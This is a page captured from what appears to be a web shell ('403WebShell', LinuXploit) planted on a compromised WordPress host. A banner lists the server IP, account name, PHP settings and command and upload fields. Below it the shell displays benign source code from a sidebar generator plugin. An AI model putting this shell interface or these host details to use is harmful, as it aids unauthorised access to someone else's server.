Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.27.154
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/rubik-sidebar-generator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/rubik-sidebar-generator/abstract.php
<?php
/* 
 * SMK Sidebar Generator Abstract
 * 
 * -------------------------------------------------------------------------------------
 * @Author:     Smartik
 * @Author URI: http://smartik.ws/
 * @Copyright:  (c) 2014 Smartik. All rights reserved
 * -------------------------------------------------------------------------------------
 *
 */

// Do not allow direct access to this file.
if( ! function_exists('add_action') ) 
	die();

// Start object
if( ! class_exists('Smk_Sidebar_Generator_Abstract')) {
	abstract class Smk_Sidebar_Generator_Abstract {

		//------------------------------------//--------------------------------------//
		
		/**
		 * Plugin version
		 *
		 * Return the current plugin version.
		 *
		 * @return string 
		 */
		protected $version;

		//------------------------------------//--------------------------------------//
		
		/**
		 * Html helpers
		 *
		 * Allows to create different HTML elements
		 *
		 * @return string 
		 */
		protected $html;

		//------------------------------------//--------------------------------------//
		
		public function __construct(){
			$this->version = smk_sidebar_version();
			$this->html = new Smk_Sidebar_Generator_Html;
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Plugin Settings
		 *
		 * Inner plugin settings.
		 * 
		 * @return array 
		 */
		abstract protected function pluginSettings();

		//------------------------------------//--------------------------------------//
		
		/**
		 * Page
		 *
		 * Create the admin page
		 *
		 * @return string 
		 */
		abstract public function page();

		//------------------------------------//--------------------------------------//
		
		/**
		 * Init the object
		 *
		 * Create a new instance of this plugin.
		 *
		 * @return void 
		 */
		public function init(){
			add_action( 'admin_menu', array( $this, 'menu' ) );
			add_action( 'admin_init', array( $this, 'registerSetting' ) );
			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ), 99 );
			add_action( 'widgets_init', array( $this, 'registerGeneratedSidebars' ) );
			
			$this->setup();

			// update from v2
			$this->updateSidebarsFromV2();
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Add to init object
		 *
		 * Add to init object.
		 *
		 * @return void 
		 */
		public function setup(){}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Register setting
		 *
		 * Register setting. This allows to update the option on form submit.
		 *
		 * @hook admin_init
		 * @return void 
		 */
		public function registerSetting() {
			$settings = $this->pluginSettings();
			register_setting( $settings['settings_register_name'], $settings['option_name']/*, array( &$this, 'sanitizeData' )*/ );
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Sanitize data
		 *
		 * Sanitize the data sent to the server. Unset all invalid or empty(none) conditions.
		 *
		 * @return array The sanitized data 
		 */
		// public function sanitizeData( $data ) {
		// 	if( is_array( $data ) && !empty( $data ) ){
		// 		$new_data = $data;
		// 		foreach ($data as $sidebar_id => $sidebar_settings) {
		// 			if( !empty($sidebar_settings['conditions']) && is_array($sidebar_settings['conditions']) ){
		// 				foreach ($sidebar_settings['conditions'] as $key => $condition) {
		// 					if( !empty($condition['if']) && $condition['if'] == 'none' ){
		// 						unset( $new_data[ $sidebar_id ]['conditions'][ $key ] );
		// 					}
		// 					else{
		// 						continue;
		// 					}
		// 				}
		// 			}
		// 		}
		// 		$data = $new_data;
		// 	}
		// 	return $data;
		// }

		//------------------------------------//--------------------------------------//
		
		/**
		 * Sidebar Widgets
		 *
		 * Get all sidebar with all widgets assigned to it.
		 *
		 * @return array
		 */
		public function sidebarWidgets(){
			return wp_get_sidebars_widgets();
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * All saved widgets types
		 *
		 * Get all saved widget types.
		 *
		 * @return array
		 */
		public function widgetsTypes(){
			$all = $this->sidebarWidgets();
			$widgets = array();
			foreach ($all as $part) {
				foreach ($part as $key => $widget) {
					$widget_option_name = 'widget_'. substr($widget, 0, -2);
					$widgets[ $widget_option_name ] = $widget_option_name;
				}
			}
			return $widgets;
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Widgets Options
		 *
		 * Get all data(options) for each widget type.
		 *
		 * @return array
		 */
		public function widgetsOptions(){
			$options = array();
			foreach ($this->widgetsTypes() as $key => $value) {
				$options[ $value ] = get_option( $value );
			}
			return $options;
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * All registered sidebars
		 *
		 * Get all registered sidebars.
		 *
		 * @return array
		 */
		public function allRegisteredSidebars(){
			global $wp_registered_sidebars;	
			$all_sidebars = array();
			
			if ( $wp_registered_sidebars && ! is_wp_error( $wp_registered_sidebars ) ) {
				
				foreach ( $wp_registered_sidebars as $sidebar ) {
					$all_sidebars[ $sidebar['id'] ] = $sidebar;
				}
				
			}
			
			return $all_sidebars;
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * All generated sidebars
		 *
		 * Get all generated sidebars.
		 *
		 * @return array
		 */
		public function allGeneratedSidebars(){
			$all = get_option( $this->pluginSettings('option_name'), array() );
			if( !empty( $all['sidebars'] ) ){
				return $all['sidebars'];
			}
			else{
				return array();
			}
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Register sidebars
		 *
		 * Register all generated sidebars
		 *
		 * @hook widgets_init
		 * @return void 
		 */
		public function registerGeneratedSidebars() {

			//Catch saved options
			$sidebars = get_option( $this->pluginSettings('option_name'), array() );

			//Make sure if we have valid sidebars
			if ( !empty( $sidebars['sidebars'] ) && is_array( $sidebars['sidebars'] ) ){

				//Register each sidebar
				foreach ($sidebars['sidebars'] as $sidebar) {
					if( isset($sidebar) && !empty($sidebar) ){

						register_sidebar(
							array(
								'name'          => $sidebar['name'],
								'id'            => $sidebar['id'],
								'description'   => $sidebar['description'],
								'before_widget' => '<div id="%1$s" class="widget %2$s">',
								'after_widget'  => '</div>',
								'before_title' => '<div class="bk-header"><div class="widget-title"><h3>',
                                'after_title' => '</h3></div></div>'
							)
						);

					}
				}

			}

		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * All static sidebars
		 *
		 * Get all static sidebars.
		 *
		 * @return array
		 */
		public function allStaticSidebars(){
			$all = $this->allRegisteredSidebars();
			$generated = $this->allGeneratedSidebars();
			$static = array();
			foreach ( $all as $key => $value) {
				if( ! array_key_exists($key, $generated) ){
					$static[ $key ] = $value;
				}
			}
			return $static;
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Menu
		 *
		 * Create a new submenu for this plugin.
		 *	
		 * @hook admin_menu
		 * @uses $this->page() to get the page display.
		 * @return void 
		 */
		public function menu(){
			$settings = $this->pluginSettings();

			add_submenu_page(
				$settings['menu_parent'], 
				$settings['name'], 
				$settings['name'], 
				$settings['capability'], 
				$settings['slug'], 
				array( $this, 'page' ) 
			);
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Enqueue
		 *
		 * Enqueue scripts and styles
		 *
		 * @hook admin_enqueue_scripts
		 * @return void
		 */
		public function enqueue(){
			if( $this->isPluginPage() ){
				$depend = array('jquery', 'jquery-ui-core', 'jquery-ui-sortable', 'jquery-ui-slider');
			
				wp_register_style( 'smk-sidebar-generator', $this->uri() . 'assets/styles.css', '', $this->version );
				wp_register_script( 'smk-sidebar-generator', $this->uri() . 'assets/scripts.js', $depend, $this->version, true );
				wp_enqueue_style( 'smk-sidebar-generator' );
				wp_enqueue_script( 'smk-sidebar-generator' );
			}
		}

		//------------------------------------//--------------------------------------//
		
		/**
		 * Is plugin page
		 *
		 * Check if the current page is plugin page.
		 *
		 * @return bool 
		 */
		public function isPluginPage(){
			$settings = $this->pluginSettings();
			return isset( $_GET['page'] ) && $_GET['page'] == $settings['slug'] ? true : false;
		}
  
		//------------------------------------//--------------------------------------//

		/**
		 * Plugin path
		 *
		 * Absolute plugin path.
		 * 
		 * @return string 
		 */
		public function path(){
			return plugin_dir_path( __FILE__ );
		}

		//------------------------------------//--------------------------------------//

		/**
		 * Plugin URI
		 *
		 * Absolute plugin URI.
		 * 
		 * @return string 
		 */
		public function uri(){
			return plugin_dir_url( __FILE__ );
		}

		//------------------------------------//--------------------------------------//

		/**
		 * The prefix for sidebar ID
		 *
		 * Generate the prefix for sidebar ID based on current WP setup
		 * 
		 * @return string 
		 */
		public function prefix(){
			$theme             = get_option( 'current_theme', '' );
			$wordpress_version = get_bloginfo( 'version', '' );
			// Make the prefix
			$string = 's' . substr( $theme, 0, 1 ) . $wordpress_version;
			$string = preg_replace('/[^\w-]/', '', $string);
			return  strtolower( $string ) . '_';
		}

		//------------------------------------//--------------------------------------//

		/**
		 * Sidebars from v2
		 *
		 * Get all sidebars generated by Smk Sidebars generator v2, move and convert them
		 * for v3 and delete old data. Backwards compatibility function.
		 * 
		 * @return void 
		 */
		public function updateSidebarsFromV2(){
			if( false === get_transient( 'smk_sidebar_generator_option_v2' ) ){
				$option_name = $this->pluginSettings('option_name');
				$old = get_option( 'smk_sidebar_generator_option', array() );
				$new = get_option( $option_name, array() );
				$final = $new;

				$v2_sidebars = ! empty( $old['sidebars'] ) ? $old['sidebars'] : array();
				$v3_sidebars = ! empty( $new['sidebars'] ) ? $new['sidebars'] : array();

				$v2 = array();
				foreach ($v2_sidebars as $key => $value) {
					$v2['smk_sidebar_' . $key]['id'] = 'smk_sidebar_' . $value['id'];
					$v2['smk_sidebar_' . $key]['name'] = $value['name'];
					$v2['smk_sidebar_' . $key]['description'] = '';
				}

				$final_sidebars['sidebars'] = wp_parse_args( $v3_sidebars, $v2 );

				$final = wp_parse_args( $final_sidebars, $new );

				update_option( $option_name, $final );
				delete_option( 'smk_sidebar_generator_option' );
				set_transient( 'smk_sidebar_generator_option_v2', true );
			}
		}

		//------------------------------------//--------------------------------------//

		/**
		 * Debug
		 *
		 * Debud saved data
		 * 
		 * @param array $data The data to debug.
		 * @return string 
		 */
		public function debug($data = array(), $title = ''){
			if( is_array($data) ){
				array_walk_recursive( $data, array( $this, 'debugFilter' ) );
			}
			if( !empty($title) ){
				echo '<h3>'. $title .'</h3>';
			}
			echo '<pre>';
				print_r($data);
			echo '</pre>';
		}

		//------------------------------------//--------------------------------------//

		/**
		 * Debug filter
		 *
		 * Debud filter special characters.
		 * 
		 * @param array $data The data to filter.
		 * @return array 
		 */
		public function debugFilter(&$data){
			$data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
		}

	} // class
} // class_exists

Youez - 2016 - github.com/yon3zu
LinuXploit